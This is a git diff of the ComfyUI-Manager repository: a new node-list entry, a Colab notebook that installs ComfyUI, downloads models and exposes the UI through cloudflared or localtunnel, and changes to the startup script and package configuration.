"description": "Patched fork of ComfyUI-MultiGPU providing universal .safetensors and GGUF multi-GPU distribution with DisTorch 2.0 engine, model-driven allocation options (bytes/ratio modes), WanVideoWrapper integration, and up to 10% faster GGUF inference. (Description by CC)"
},
{
"author": "synchronicity-labs",
"title": "ComfyUI Sync Lipsync Node",
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+11 -1
View File
@@ -371,6 +371,16 @@
],
"install_type": "git-clone",
"description": "Complete ComfyUI development toolkit with 8 professional nodes including VAE tools, universal type testing, and comprehensive debugging infrastructure."
}
},
{
"author": "ganlvtech",
"title": "ComfyUI-CustomModelPatcher",
"reference": "https://github.com/ganlvtech/ComfyUI-CustomModelPatcher",
"files": [
"https://github.com/ganlvtech/ComfyUI-CustomModelPatcher"
],
"install_type": "git-clone",
"description": "Demonstrates GPU memory management techniques for external models like onnxruntime and InsightFace in ComfyUI by pre-allocating VRAM. (Description by CC)"
}
]
}
+373
View File
@@ -0,0 +1,373 @@
{
"cells": [
{
"cell_type": "markdown",
"metadata": {
"id": "aaaaaaaaaa"
},
"source": [
"Git clone the repo and install the requirements. (ignore the pip errors about protobuf)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"id": "bbbbbbbbbb"
},
"outputs": [],
"source": [
"# #@title Environment Setup\n",
"\n",
"from pathlib import Path\n",
"\n",
"OPTIONS = {}\n",
"\n",
"USE_GOOGLE_DRIVE = True #@param {type:\"boolean\"}\n",
"UPDATE_COMFY_UI = True #@param {type:\"boolean\"}\n",
"USE_COMFYUI_MANAGER = True #@param {type:\"boolean\"}\n",
"INSTALL_CUSTOM_NODES_DEPENDENCIES = True #@param {type:\"boolean\"}\n",
"OPTIONS['USE_GOOGLE_DRIVE'] = USE_GOOGLE_DRIVE\n",
"OPTIONS['UPDATE_COMFY_UI'] = UPDATE_COMFY_UI\n",
"OPTIONS['USE_COMFYUI_MANAGER'] = USE_COMFYUI_MANAGER\n",
"OPTIONS['INSTALL_CUSTOM_NODES_DEPENDENCIES'] = INSTALL_CUSTOM_NODES_DEPENDENCIES\n",
"\n",
"current_dir = !pwd\n",
"WORKSPACE = f\"{current_dir[0]}/ComfyUI\"\n",
"\n",
"if OPTIONS['USE_GOOGLE_DRIVE']:\n",
" !echo \"Mounting Google Drive...\"\n",
" %cd /\n",
"\n",
" from google.colab import drive\n",
" drive.mount('/content/drive')\n",
"\n",
" WORKSPACE = \"/content/drive/MyDrive/ComfyUI\"\n",
" %cd /content/drive/MyDrive\n",
"\n",
"![ ! -d $WORKSPACE ] && echo -= Initial setup ComfyUI =- && git clone https://github.com/comfyanonymous/ComfyUI\n",
"%cd $WORKSPACE\n",
"\n",
"if OPTIONS['UPDATE_COMFY_UI']:\n",
" !echo -= Updating ComfyUI =-\n",
"\n",
" # Correction of the issue of permissions being deleted on Google Drive.\n",
" ![ -f \".ci/nightly/update_windows/update_comfyui_and_python_dependencies.bat\" ] && chmod 755 .ci/nightly/update_windows/update_comfyui_and_python_dependencies.bat\n",
" ![ -f \".ci/nightly/windows_base_files/run_nvidia_gpu.bat\" ] && chmod 755 .ci/nightly/windows_base_files/run_nvidia_gpu.bat\n",
" ![ -f \".ci/update_windows/update_comfyui_and_python_dependencies.bat\" ] && chmod 755 .ci/update_windows/update_comfyui_and_python_dependencies.bat\n",
" ![ -f \".ci/update_windows_cu118/update_comfyui_and_python_dependencies.bat\" ] && chmod 755 .ci/update_windows_cu118/update_comfyui_and_python_dependencies.bat\n",
" ![ -f \".ci/update_windows/update.py\" ] && chmod 755 .ci/update_windows/update.py\n",
" ![ -f \".ci/update_windows/update_comfyui.bat\" ] && chmod 755 .ci/update_windows/update_comfyui.bat\n",
" ![ -f \".ci/update_windows/README_VERY_IMPORTANT.txt\" ] && chmod 755 .ci/update_windows/README_VERY_IMPORTANT.txt\n",
" ![ -f \".ci/update_windows/run_cpu.bat\" ] && chmod 755 .ci/update_windows/run_cpu.bat\n",
" ![ -f \".ci/update_windows/run_nvidia_gpu.bat\" ] && chmod 755 .ci/update_windows/run_nvidia_gpu.bat\n",
"\n",
" !git pull\n",
"\n",
"!echo -= Install dependencies =-\n",
"!pip3 install accelerate\n",
"!pip3 install einops transformers>=4.28.1 safetensors>=0.4.2 aiohttp pyyaml Pillow scipy tqdm psutil tokenizers>=0.13.3\n",
"!pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu121\n",
"!pip3 install torchsde\n",
"!pip3 install kornia>=0.7.1 spandrel soundfile sentencepiece\n",
"\n",
"if OPTIONS['USE_COMFYUI_MANAGER']:\n",
" %cd custom_nodes\n",
"\n",
" # Correction of the issue of permissions being deleted on Google Drive.\n",
" ![ -f \"ComfyUI-Manager/check.sh\" ] && chmod 755 ComfyUI-Manager/check.sh\n",
" ![ -f \"ComfyUI-Manager/scan.sh\" ] && chmod 755 ComfyUI-Manager/scan.sh\n",
" ![ -f \"ComfyUI-Manager/node_db/dev/scan.sh\" ] && chmod 755 ComfyUI-Manager/node_db/dev/scan.sh\n",
" ![ -f \"ComfyUI-Manager/node_db/tutorial/scan.sh\" ] && chmod 755 ComfyUI-Manager/node_db/tutorial/scan.sh\n",
" ![ -f \"ComfyUI-Manager/scripts/install-comfyui-venv-linux.sh\" ] && chmod 755 ComfyUI-Manager/scripts/install-comfyui-venv-linux.sh\n",
" ![ -f \"ComfyUI-Manager/scripts/install-comfyui-venv-win.bat\" ] && chmod 755 ComfyUI-Manager/scripts/install-comfyui-venv-win.bat\n",
"\n",
" ![ ! -d ComfyUI-Manager ] && echo -= Initial setup ComfyUI-Manager =- && git clone https://github.com/ltdrdata/ComfyUI-Manager\n",
" %cd ComfyUI-Manager\n",
" !git pull\n",
"\n",
"%cd $WORKSPACE\n",
"\n",
"if OPTIONS['INSTALL_CUSTOM_NODES_DEPENDENCIES']:\n",
" !echo -= Install custom nodes dependencies =-\n",
" !pip install GitPython\n",
" !python custom_nodes/ComfyUI-Manager/cm-cli.py restore-dependencies\n"
]
},
{
"cell_type": "markdown",
"metadata": {
"id": "cccccccccc"
},
"source": [
"Download some models/checkpoints/vae or custom comfyui nodes (uncomment the commands for the ones you want)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"id": "dddddddddd"
},
"outputs": [],
"source": [
"# Checkpoints\n",
"\n",
"### SDXL\n",
"### I recommend these workflow examples: https://comfyanonymous.github.io/ComfyUI_examples/sdxl/\n",
"\n",
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_base_1.0.safetensors -P ./models/checkpoints/\n",
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-xl-refiner-1.0/resolve/main/sd_xl_refiner_1.0.safetensors -P ./models/checkpoints/\n",
"\n",
"# SDXL ReVision\n",
"#!wget -c https://huggingface.co/comfyanonymous/clip_vision_g/resolve/main/clip_vision_g.safetensors -P ./models/clip_vision/\n",
"\n",
"# SD1.5\n",
"!wget -c https://huggingface.co/runwayml/stable-diffusion-v1-5/resolve/main/v1-5-pruned-emaonly.ckpt -P ./models/checkpoints/\n",
"\n",
"# SD2\n",
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-2-1-base/resolve/main/v2-1_512-ema-pruned.safetensors -P ./models/checkpoints/\n",
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-2-1/resolve/main/v2-1_768-ema-pruned.safetensors -P ./models/checkpoints/\n",
"\n",
"# Some SD1.5 anime style\n",
"#!wget -c https://huggingface.co/WarriorMama777/OrangeMixs/resolve/main/Models/AbyssOrangeMix2/AbyssOrangeMix2_hard.safetensors -P ./models/checkpoints/\n",
"#!wget -c https://huggingface.co/WarriorMama777/OrangeMixs/resolve/main/Models/AbyssOrangeMix3/AOM3A1_orangemixs.safetensors -P ./models/checkpoints/\n",
"#!wget -c https://huggingface.co/WarriorMama777/OrangeMixs/resolve/main/Models/AbyssOrangeMix3/AOM3A3_orangemixs.safetensors -P ./models/checkpoints/\n",
"#!wget -c https://huggingface.co/Linaqruf/anything-v3.0/resolve/main/anything-v3-fp16-pruned.safetensors -P ./models/checkpoints/\n",
"\n",
"# Waifu Diffusion 1.5 (anime style SD2.x 768-v)\n",
"#!wget -c https://huggingface.co/waifu-diffusion/wd-1-5-beta3/resolve/main/wd-illusion-fp16.safetensors -P ./models/checkpoints/\n",
"\n",
"\n",
"# unCLIP models\n",
"#!wget -c https://huggingface.co/comfyanonymous/illuminatiDiffusionV1_v11_unCLIP/resolve/main/illuminatiDiffusionV1_v11-unclip-h-fp16.safetensors -P ./models/checkpoints/\n",
"#!wget -c https://huggingface.co/comfyanonymous/wd-1.5-beta2_unCLIP/resolve/main/wd-1-5-beta2-aesthetic-unclip-h-fp16.safetensors -P ./models/checkpoints/\n",
"\n",
"\n",
"# VAE\n",
"!wget -c https://huggingface.co/stabilityai/sd-vae-ft-mse-original/resolve/main/vae-ft-mse-840000-ema-pruned.safetensors -P ./models/vae/\n",
"#!wget -c https://huggingface.co/WarriorMama777/OrangeMixs/resolve/main/VAEs/orangemix.vae.pt -P ./models/vae/\n",
"#!wget -c https://huggingface.co/hakurei/waifu-diffusion-v1-4/resolve/main/vae/kl-f8-anime2.ckpt -P ./models/vae/\n",
"\n",
"\n",
"# Loras\n",
"#!wget -c https://civitai.com/api/download/models/10350 -O ./models/loras/theovercomer8sContrastFix_sd21768.safetensors #theovercomer8sContrastFix SD2.x 768-v\n",
"#!wget -c https://civitai.com/api/download/models/10638 -O ./models/loras/theovercomer8sContrastFix_sd15.safetensors #theovercomer8sContrastFix SD1.x\n",
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors -P ./models/loras/ #SDXL offset noise lora\n",
"\n",
"\n",
"# T2I-Adapter\n",
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_depth_sd14v1.pth -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_seg_sd14v1.pth -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_sketch_sd14v1.pth -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_keypose_sd14v1.pth -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_openpose_sd14v1.pth -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_color_sd14v1.pth -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_canny_sd14v1.pth -P ./models/controlnet/\n",
"\n",
"# T2I Styles Model\n",
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_style_sd14v1.pth -P ./models/style_models/\n",
"\n",
"# CLIPVision model (needed for styles model)\n",
"#!wget -c https://huggingface.co/openai/clip-vit-large-patch14/resolve/main/pytorch_model.bin -O ./models/clip_vision/clip_vit14.bin\n",
"\n",
"\n",
"# ControlNet\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11e_sd15_ip2p_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11e_sd15_shuffle_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_canny_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11f1p_sd15_depth_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_inpaint_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_lineart_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_mlsd_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_normalbae_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_openpose_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_scribble_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_seg_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_softedge_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15s2_lineart_anime_fp16.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11u_sd15_tile_fp16.safetensors -P ./models/controlnet/\n",
"\n",
"# ControlNet SDXL\n",
"#!wget -c https://huggingface.co/stabilityai/control-lora/resolve/main/control-LoRAs-rank256/control-lora-canny-rank256.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/stabilityai/control-lora/resolve/main/control-LoRAs-rank256/control-lora-depth-rank256.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/stabilityai/control-lora/resolve/main/control-LoRAs-rank256/control-lora-recolor-rank256.safetensors -P ./models/controlnet/\n",
"#!wget -c https://huggingface.co/stabilityai/control-lora/resolve/main/control-LoRAs-rank256/control-lora-sketch-rank256.safetensors -P ./models/controlnet/\n",
"\n",
"# Controlnet Preprocessor nodes by Fannovel16\n",
"#!cd custom_nodes && git clone https://github.com/Fannovel16/comfy_controlnet_preprocessors; cd comfy_controlnet_preprocessors && python install.py\n",
"\n",
"\n",
"# GLIGEN\n",
"#!wget -c https://huggingface.co/comfyanonymous/GLIGEN_pruned_safetensors/resolve/main/gligen_sd14_textbox_pruned_fp16.safetensors -P ./models/gligen/\n",
"\n",
"\n",
"# ESRGAN upscale model\n",
"#!wget -c https://github.com/xinntao/Real-ESRGAN/releases/download/v0.1.0/RealESRGAN_x4plus.pth -P ./models/upscale_models/\n",
"#!wget -c https://huggingface.co/sberbank-ai/Real-ESRGAN/resolve/main/RealESRGAN_x2.pth -P ./models/upscale_models/\n",
"#!wget -c https://huggingface.co/sberbank-ai/Real-ESRGAN/resolve/main/RealESRGAN_x4.pth -P ./models/upscale_models/\n",
"\n",
"\n"
]
},
{
"cell_type": "markdown",
"metadata": {
"id": "kkkkkkkkkkkkkkk"
},
"source": [
"### Run ComfyUI with cloudflared (Recommended Way)\n",
"\n",
"\n"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"id": "jjjjjjjjjjjjjj"
},
"outputs": [],
"source": [
"!wget -P ~ https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb\n",
"!dpkg -i ~/cloudflared-linux-amd64.deb\n",
"\n",
"import subprocess\n",
"import threading\n",
"import time\n",
"import socket\n",
"import urllib.request\n",
"\n",
"def iframe_thread(port):\n",
" while True:\n",
" time.sleep(0.5)\n",
" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
" result = sock.connect_ex(('127.0.0.1', port))\n",
" if result == 0:\n",
" break\n",
" sock.close()\n",
" print(\"\\nComfyUI finished loading, trying to launch cloudflared (if it gets stuck here cloudflared is having issues)\\n\")\n",
"\n",
" p = subprocess.Popen([\"cloudflared\", \"tunnel\", \"--url\", \"http://127.0.0.1:{}\".format(port)], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n",
" for line in p.stderr:\n",
" l = line.decode()\n",
" if \"trycloudflare.com \" in l:\n",
" print(\"This is the URL to access ComfyUI:\", l[l.find(\"http\"):], end='')\n",
" #print(l, end='')\n",
"\n",
"\n",
"threading.Thread(target=iframe_thread, daemon=True, args=(8188,)).start()\n",
"\n",
"!python main.py --dont-print-server"
]
},
{
"cell_type": "markdown",
"metadata": {
"id": "kkkkkkkkkkkkkk"
},
"source": [
"### Run ComfyUI with localtunnel\n",
"\n",
"\n"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"id": "jjjjjjjjjjjjj"
},
"outputs": [],
"source": [
"!npm install -g localtunnel\n",
"\n",
"import subprocess\n",
"import threading\n",
"import time\n",
"import socket\n",
"import urllib.request\n",
"\n",
"def iframe_thread(port):\n",
" while True:\n",
" time.sleep(0.5)\n",
" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
" result = sock.connect_ex(('127.0.0.1', port))\n",
" if result == 0:\n",
" break\n",
" sock.close()\n",
" print(\"\\nComfyUI finished loading, trying to launch localtunnel (if it gets stuck here localtunnel is having issues)\\n\")\n",
"\n",
" print(\"The password/enpoint ip for localtunnel is:\", urllib.request.urlopen('https://ipv4.icanhazip.com').read().decode('utf8').strip(\"\\n\"))\n",
" p = subprocess.Popen([\"lt\", \"--port\", \"{}\".format(port)], stdout=subprocess.PIPE)\n",
" for line in p.stdout:\n",
" print(line.decode(), end='')\n",
"\n",
"\n",
"threading.Thread(target=iframe_thread, daemon=True, args=(8188,)).start()\n",
"\n",
"!python main.py --dont-print-server"
]
},
{
"cell_type": "markdown",
"metadata": {
"id": "gggggggggg"
},
"source": [
"### Run ComfyUI with colab iframe (use only in case the previous way with localtunnel doesn't work)\n",
"\n",
"You should see the ui appear in an iframe. If you get a 403 error, it's your firefox settings or an extension that's messing things up.\n",
"\n",
"If you want to open it in another window use the link.\n",
"\n",
"Note that some UI features like live image previews won't work because the colab iframe blocks websockets."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"id": "hhhhhhhhhh"
},
"outputs": [],
"source": [
"import threading\n",
"import time\n",
"import socket\n",
"def iframe_thread(port):\n",
" while True:\n",
" time.sleep(0.5)\n",
" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
" result = sock.connect_ex(('127.0.0.1', port))\n",
" if result == 0:\n",
" break\n",
" sock.close()\n",
" from google.colab import output\n",
" output.serve_kernel_port_as_iframe(port, height=1024)\n",
" print(\"to open it in a window you can open this link here:\")\n",
" output.serve_kernel_port_as_window(port)\n",
"\n",
"threading.Thread(target=iframe_thread, daemon=True, args=(8188,)).start()\n",
"\n",
"!python main.py --dont-print-server"
]
}
],
"metadata": {
"accelerator": "GPU",
"colab": {
"provenance": []
},
"gpuClass": "standard",
"kernelspec": {
"display_name": "Python 3",
"name": "python3"
},
"language_info": {
"name": "python"
}
},
"nbformat": 4,
"nbformat_minor": 0
}
+703 -1055
View File
File diff suppressed because it is too large Load Diff
@@ -12,15 +12,32 @@ import ast
import logging
import traceback
from .common import security_check
from .common import manager_util
from .common import cm_global
from .common import manager_downloader
from .common.timestamp_utils import current_timestamp
glob_path = os.path.join(os.path.dirname(__file__), "glob")
sys.path.append(glob_path)
import security_check
import manager_util
import cm_global
import manager_downloader
import folder_paths
manager_util.add_python_path_to_env()
import datetime as dt
if hasattr(dt, 'datetime'):
from datetime import datetime as dt_datetime
def current_timestamp():
return dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
else:
# NOTE: Occurs in some Mac environments.
import time
logging.error(f"[ComfyUI-Manager] fallback timestamp mode\n datetime module is invalid: '{dt.__file__}'")
def current_timestamp():
return str(time.time()).split('.')[0]
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'}
cm_global.pip_downgrade_blacklist = ['torch', 'torchaudio', 'torchsde', 'torchvision', 'transformers', 'safetensors', 'kornia']
@@ -49,14 +66,16 @@ def is_import_failed_extension(name):
comfy_path = os.environ.get('COMFYUI_PATH')
comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
if comfy_path is None:
# legacy env var
comfy_path = os.environ.get('COMFYUI_PATH')
if comfy_path is None:
comfy_path = os.path.abspath(os.path.dirname(sys.modules['__main__'].__file__))
os.environ['COMFYUI_PATH'] = comfy_path
if comfy_base_path is None:
comfy_base_path = comfy_path
sys.__comfyui_manager_register_message_collapse = register_message_collapse
sys.__comfyui_manager_is_import_failed_extension = is_import_failed_extension
cm_global.register_api('cm.register_message_collapse', register_message_collapse)
@@ -66,12 +85,23 @@ cm_global.register_api('cm.is_import_failed_extension', is_import_failed_extensi
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
custom_nodes_base_path = folder_paths.get_folder_paths('custom_nodes')[0]
manager_files_path = folder_paths.get_system_user_directory("manager")
# Check for System User API availability (PR #10966)
_has_system_user_api = hasattr(folder_paths, 'get_system_user_directory')
if _has_system_user_api:
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), '__manager'))
else:
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), 'default', 'ComfyUI-Manager'))
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
restore_snapshot_path = os.path.join(manager_files_path, "startup-scripts", "restore-snapshot.json")
manager_config_path = os.path.join(manager_files_path, 'config.ini')
cm_cli_path = os.path.join(comfyui_manager_path, "cm-cli.py")
default_conf = {}
def read_config():
@@ -88,11 +118,6 @@ def read_uv_mode():
if 'use_uv' in default_conf:
manager_util.use_uv = default_conf['use_uv'].lower() == 'true'
def read_unified_resolver_mode():
if 'use_unified_resolver' in default_conf:
manager_util.use_unified_resolver = default_conf['use_unified_resolver'].lower() == 'true'
def check_file_logging():
global enable_file_logging
if 'file_logging' in default_conf and default_conf['file_logging'].lower() == 'false':
@@ -101,14 +126,9 @@ def check_file_logging():
read_config()
read_uv_mode()
read_unified_resolver_mode()
security_check.security_check()
check_file_logging()
# Module-level flag set by startup batch resolver when it succeeds.
# Used by execute_lazy_install_script() to skip per-node pip installs.
_unified_resolver_succeeded = False
cm_global.pip_overrides = {}
if os.path.exists(manager_pip_overrides_path):
@@ -391,11 +411,7 @@ try:
def emit(self, record):
global is_start_mode
try:
message = record.getMessage()
except Exception as e:
message = f"<<logging error>>: {record} - {e}"
original_stderr.write(message)
message = record.getMessage()
if is_start_mode:
match = re.search(pat_import_fail, message)
@@ -438,6 +454,35 @@ except Exception as e:
print(f"[ComfyUI-Manager] Logging failed: {e}")
def ensure_dependencies():
try:
import git # noqa: F401
import toml # noqa: F401
import rich # noqa: F401
import chardet # noqa: F401
except ModuleNotFoundError:
my_path = os.path.dirname(__file__)
requirements_path = os.path.join(my_path, "requirements.txt")
print("## ComfyUI-Manager: installing dependencies. (GitPython)")
try:
subprocess.check_output(manager_util.make_pip_cmd(['install', '-r', requirements_path]))
except subprocess.CalledProcessError:
print("## [ERROR] ComfyUI-Manager: Attempting to reinstall dependencies using an alternative method.")
try:
subprocess.check_output(manager_util.make_pip_cmd(['install', '--user', '-r', requirements_path]))
except subprocess.CalledProcessError:
print("## [ERROR] ComfyUI-Manager: Failed to install the GitPython package in the correct Python environment. Please install it manually in the appropriate environment. (You can seek help at https://app.element.io/#/room/%23comfyui_space%3Amatrix.org)")
try:
print("## ComfyUI-Manager: installing dependencies done.")
except:
# maybe we should sys.exit() here? there is at least two screens worth of error messages still being pumped after our error messages
print("## [ERROR] ComfyUI-Manager: GitPython package seems to be installed, but failed to load somehow. Make sure you have a working git client installed")
ensure_dependencies()
print("** ComfyUI startup time:", current_timestamp())
print("** Platform:", platform.system())
print("** Python version:", sys.version)
@@ -461,7 +506,7 @@ def read_downgrade_blacklist():
items = [x.strip() for x in items if x != '']
cm_global.pip_downgrade_blacklist += items
cm_global.pip_downgrade_blacklist = list(set(cm_global.pip_downgrade_blacklist))
except Exception:
except:
pass
@@ -482,6 +527,7 @@ check_bypass_ssl()
# Perform install
processed_install = set()
# Use manager_files_path for consistency (fixes path inconsistency bug)
script_list_path = os.path.join(manager_files_path, "startup-scripts", "install-scripts.txt")
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
@@ -567,10 +613,7 @@ if os.path.exists(restore_snapshot_path):
if 'COMFYUI_FOLDERS_BASE_PATH' not in new_env:
new_env["COMFYUI_FOLDERS_BASE_PATH"] = comfy_path
if 'COMFYUI_PATH' not in new_env:
new_env['COMFYUI_PATH'] = os.path.dirname(folder_paths.__file__)
cmd_str = [sys.executable, '-m', 'cm_cli', 'restore-snapshot', restore_snapshot_path]
cmd_str = [sys.executable, cm_cli_path, 'restore-snapshot', restore_snapshot_path]
exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
if exit_code != 0:
@@ -591,8 +634,7 @@ def execute_lazy_install_script(repo_path, executable):
install_script_path = os.path.join(repo_path, "install.py")
requirements_path = os.path.join(repo_path, "requirements.txt")
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
# Per-node pip install: only runs if unified resolver is disabled or failed
if os.path.exists(requirements_path):
print(f"Install: pip packages for '{repo_path}'")
lines = manager_util.robust_readlines(requirements_path)
@@ -762,40 +804,12 @@ def execute_startup_script():
print("#######################################################################\n")
# --- Unified dependency resolver: batch resolution at startup ---
# Runs unconditionally when enabled, independent of install-scripts.txt existence.
if manager_util.use_unified_resolver:
try:
from .common.unified_dep_resolver import (
UnifiedDepResolver,
UvNotAvailableError,
collect_base_requirements,
collect_node_pack_paths,
)
_resolver = UnifiedDepResolver(
node_pack_paths=collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes')),
base_requirements=collect_base_requirements(comfy_path),
blacklist=set(),
overrides={},
downgrade_blacklist=[],
)
_result = _resolver.resolve_and_install()
if _result.success:
_unified_resolver_succeeded = True
logging.info("[UnifiedDepResolver] startup batch resolution succeeded")
else:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] startup batch failed: %s, falling back to per-node pip", _result.error)
except UvNotAvailableError:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] uv not available at startup, falling back to per-node pip")
except Exception as e:
manager_util.use_unified_resolver = False
logging.warning("[UnifiedDepResolver] startup error: %s, falling back to per-node pip", e)
# Check if script_list_path exists
if os.path.exists(script_list_path):
# Block startup-scripts on old ComfyUI (security measure)
if not _has_system_user_api:
if os.path.exists(script_list_path):
print("[ComfyUI-Manager] Startup scripts blocked on old ComfyUI version.")
elif os.path.exists(script_list_path):
execute_startup_script()
+9 -58
View File
@@ -1,65 +1,16 @@
[build-system]
requires = ["setuptools >= 61.0"]
build-backend = "setuptools.build_meta"
[project]
name = "comfyui-manager"
license = { text = "GPL-3.0-only" }
version = "4.1b3"
requires-python = ">= 3.9"
description = "ComfyUI-Manager provides features to install and manage custom nodes for ComfyUI, as well as various functionalities to assist with ComfyUI."
readme = "README.md"
keywords = ["comfyui", "comfyui-manager"]
maintainers = [
{ name = "Dr.Lt.Data", email = "dr.lt.data@gmail.com" },
{ name = "Yoland Yan", email = "yoland@comfy.org" },
{ name = "James Kwon", email = "hongilkwon316@gmail.com" },
{ name = "Robin Huang", email = "robin@comfy.org" },
]
classifiers = [
"Development Status :: 5 - Production/Stable",
"Intended Audience :: Developers",
"License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
]
dependencies = [
"GitPython",
"PyGithub",
# "matrix-nio",
"transformers",
"huggingface-hub>0.20",
"typer",
"rich",
"typing-extensions",
"toml",
"uv",
"chardet"
]
[project.optional-dependencies]
dev = ["pre-commit", "pytest", "ruff", "pytest-cov"]
version = "3.41"
license = { file = "LICENSE.txt" }
requires-python = ">=3.9"
dependencies = ["GitPython", "PyGithub", "matrix-nio", "transformers", "huggingface-hub>0.20", "typer", "rich", "typing-extensions", "toml", "uv", "chardet"]
[project.urls]
Repository = "https://github.com/ltdrdata/ComfyUI-Manager"
# Used by Comfy Registry https://registry.comfy.org
[tool.setuptools.packages.find]
where = ["."]
include = ["comfyui_manager*", "cm_cli*"]
[project.scripts]
cm-cli = "cm_cli:main"
[tool.ruff]
line-length = 120
target-version = "py39"
[tool.ruff.lint]
select = [
"E4", # default
"E7", # default
"E9", # default
"F", # default
"I", # isort-like behavior (import statement sorting)
]
[tool.comfy]
PublisherId = "drltdata"
DisplayName = "ComfyUI-Manager"
Icon = ""
+1 -1
View File
@@ -1,6 +1,6 @@
GitPython
PyGithub
# matrix-nio
matrix-nio
transformers
huggingface-hub
typer
+1 -1
View File
@@ -9,4 +9,4 @@ lint.select = [
"F",
]
exclude = ["*.ipynb", "tests"]
exclude = ["*.ipynb"]

Some files were not shown because too many files have changed in this diff Show More